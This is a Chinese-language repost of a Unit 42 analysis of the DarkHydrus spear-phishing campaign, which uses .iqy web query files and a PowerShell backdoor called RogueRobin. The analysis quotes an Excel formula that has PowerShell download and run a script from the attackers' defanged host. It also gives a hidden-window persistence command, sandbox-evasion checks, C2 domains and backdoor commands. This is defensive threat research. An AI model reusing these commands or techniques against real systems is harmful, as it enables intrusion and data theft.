Palo Alto Networks公司旗下 Unit 42威胁研究团队在上周五发表的一篇分析文章中指出,他们在本月深入调查了一起基于新型文件类型(.iqy)的有针对性的攻击活动,至少有一个位于中东地区的政府机构被作为了攻击目标。
Unit 42表示,这起攻击活动是由一个之前未被报道过的黑客组织实施的,被他们追踪为“DarkHydrus”。基于遥测,Unit 42发现了更多的攻击痕迹,使他们相信该组织自2016年初以来就一直在使用他们目前仍在使用的恶意脚本开展活动。
Unit 42指出,这起攻击与 他们之前观察到的攻击活动有所不同,因为在这起攻击中发送给目标组织的鱼叉式网络钓鱼电子邮件所使用的RAR文件附件(受密码保护)中包含的是恶意Web查询文件(.iqy)。
.iqy文件是包含URL的简单文本文件,默认使用Microsoft Excel打开。一旦打开,Excel将检索文件中URL的任何对象。最近,此类文件被犯罪分子用于交付诸如Flawed Ammyy这样的商业化RAT。对于DarkHydrus而言,在其之前的攻击中检索到的首选有效载荷是被滥用于恶意目的开源合法工具,如Meterpreter和Cobalt Strike。但是,在最新的攻击活动中,该组织似乎使用了被 Unit 42称之为“RogueRobin”的基于PowerShell的自定义恶意软件。
攻击分析
攻击者在7月15日到16日之间发送了鱼叉式网络钓鱼电子邮件。每封电子邮件都附带有一个受密码保护的RAR文件,名为“credential.rar”。如图1所示,电子邮件的正文是采用阿拉伯文编写的,并指示收件人解压缩附件以查看文档。正文内容还包括解压RAR文件所需的密码“123456”,而RAR文件则包含一个恶意的. iqy文件,名为“credential.iqy”。
图1.钓鱼电子邮件的正文
大致可以翻译为:
您好
请查收并查看附件
非常感谢
密码:123456
有效载荷分析
credential.iqy(SHA256: cc1966eff7bed11c1faada0bb0ed0c8715404abd936cfa816cef61863a0c1dd6)毫无疑问是一个. iqy文件,其中只包含以下文本字符串:
hxxp://micrrosoft[.]net/releasenotes.txt
正如前面提到的那样,这个.iqy文件将默认由Microsoft Excel打开。一旦打开,它将在使用文件中的URL获取远程数据,并保存在工作表中。默认情况下,Microsoft Excel并不允许从远程服务器下载数据,但会通过显示如图2所示的对话框来请求用户的同意:
图2.使用Microsoft Excel打开.iqy文件弹出的安全通知
如果用户选择“Enable”,以允许Microsoft Excel通过.iqy文件中的URL获取内容,那么包含在releasenotes.txt(SHA256: bf925f340920111b385078f96fff1096fd0847b993892ff1ee3580fa9d)正文中的如下公式将会被保存到工作表中的“A0”单元中:
=cmd|’ /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -exec bypass -c IEX ((New-Object Net.WebClient).DownloadString(\”hxxp://micrrosoft[.]net/winupdate.ps1\”))’!A0
该公式会使用命令提示符运行PowerShell脚本,而该脚本会尝试下载并执行托管在URL hxxp://micrrosoft[. . net/winupdate.ps1]上的第二个PowerShell脚本。同样的,默认情况下Microsoft Excel不会启动命令提示符应用程序,但会通过显示如图3中所示的对话框来请求用户的同意:
图3.用于确认远程数据访问的对话框
这个名为“winupdate.ps1”的脚本(SHA256:36862f654c3356d2177b5d35a410c78ff9803d1d7d20da0b82e3d69d640e856e)是在这起攻击中被Unit 42称之为“RogueRobin”的主有效载荷。它的开发人员使用了开源的Invoke-Obfuscation工具来混淆这个PowerShell脚本,特别是使用了Invoke-Obfuscation提供的COMPRESS技术。解压缩后的PowerShell有效载荷与PowerShell Empire(一个纯碎的PowerShell后期漏洞利用代理工具)有一些相似之处,例如使用抖动值(jitter value)和job ID引用的命令,但 Unit 42表示他们并没有确凿的证据能够证明RogueRobin的开发人员使用了Empire作为其工具的基础。
在执行其任何函数之前,有效载荷会检查它是否在沙箱中执行。有效载荷使用WMI查询并检查正在运行的进程,以获取脚本可能在分析环境中执行的证据。具体的沙箱检查包括:
- 使用WMI检查VBOX、bochs、qemu、virtualbox和vm的BIOS版本(SMBIOSBIOSVERSION);
- 使用WMI检查XEN(一个开放源代码虚拟机监视器);
- 使用WMI检查总物理内存是否小于2900000000;
- 使用WMI检查CPU内核数量是否小于或等于1;
- 枚举“Wireshark”和“Sysinternals”正在运行的进程。
当有效载荷确认它并非在沙箱中运行之后,它将尝试将自身安装到系统中并持续执行。为了安装有效载荷,脚本将创建一个文件%APPDATA%\OneDrive.ba并将以下字符串保存到其中:
powershell.exe -WindowStyle Hidden -exec bypass -File “%APPDATA%\OneDrive.ps1”
然后,该脚本会将修改后的自身副本写入%APPDATA%\OneDrive.ps1。为了在系统启动时持续执行,脚本将在Windows启动文件夹中创建以下快捷方式文件,该文件夹将在每次用户登录时运行OneDrive.ps1脚本:
$env:SystemDrive\Users\$env:USERNAME\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.lnk
有效载荷本身会使用自定义的DNS协议隧道与其配置的命令和控制(C2)服务器进行通信。在这个有效载荷中配置的域是:
- Anyconnect[.]stream
- Bigip[.]stream
- Fortiweb[.]download
- Kaspersky[.]science
- microtik[.]stream
- owa365[.]bid
- symanteclive[.]download
- windowsdefender[.]win
DNS协议隧道可以使用多种不同的DNS查询类型与C2服务器进行交互。有效载荷具有一个在测试早期调用的函数,以查看哪些DNS查询类型能够成功到达C2服务器。它将遍历一个类型列表,第一个从C2服务器接收响应的DNS类型将用于有效载荷和C2服务器之间的所有通信,顺序如下:
- A
- AAAA
- AC
- CNAME
- MX
- TXT
- SRV
- SOA
有效载荷将使用具有特定参数和特制子域的内置Windows nslookup应用程序来与C2进行通信。为了与C2建立通信,有效载荷将首先获取由C2服务器发出的系统标识符。有效载荷发送的用于获取系统标识符的初始DNS查询使用了如下结构,其中当前进程标识符(PID)被用作C2域的子域:
<当前进程id>.
C2服务器将在DNS响应的应答部分中提供系统标识符。一旦获取到了系统标识符,有效载荷就收集特定的系统信息并将其发送到C2服务器。随后,有效载荷将与C2服务器进行交互,以获取下一步命令。具体的命令字符串和描述如下:
- $fileDownload:将指定文件的内容上载到C2;
- $importModule:将指定的PowerShell模块添加到当前脚本;
- $screenshot:这个命令的命名暗示它可能是为了获取屏幕截图;
- $command:运行PowerShell命令并将输出发送到C2;
- slp:\d+:设置C2信标之间的休眠间隔;
- $testmode:向尝试确定哪些DNS查询类型成功的C2服务器发出A、AAAA、AC、CNAME、MX、TXT、SRV和SOA类型的DNS查询。此命令将自动设置DNS类型以用于实际C2;
- $showconfig:将有效载荷的当前配置上载到C2;
- slpx:\d+:设置出站DNS请求之间的休眠间隔;
- $fileUpload:从C2服务器下载内容并将其写入指定的文件。
结论
DarkHydrus组织利用恶意.iqy文件对至少一个位于中东地区的政府机构进行了攻击,而.iqy文被用于将托管在远程服务器上的恶意内容下载并保存在Microsoft Excel工作表中。DarkHydrus利用这种并不太为普通计算机用户所熟悉的文件格式来运行命令,并最终安装PowerShell脚本以获得对系统的后门访问。在当前攻击中提供的PowerShell后门很有可能是由是由DarkHydrus组织自己开发的,但也请注意,DarkHydrus同样可以利用合法开源工具的代码与自己的恶意软件组合在一起来使用。
声明:本文来自黑客视界,版权归作者所有。文章内容仅代表作者独立观点,不代表士冗科技立场,转载目的在于传递更多信息。如有侵权,请联系 service@expshell.com。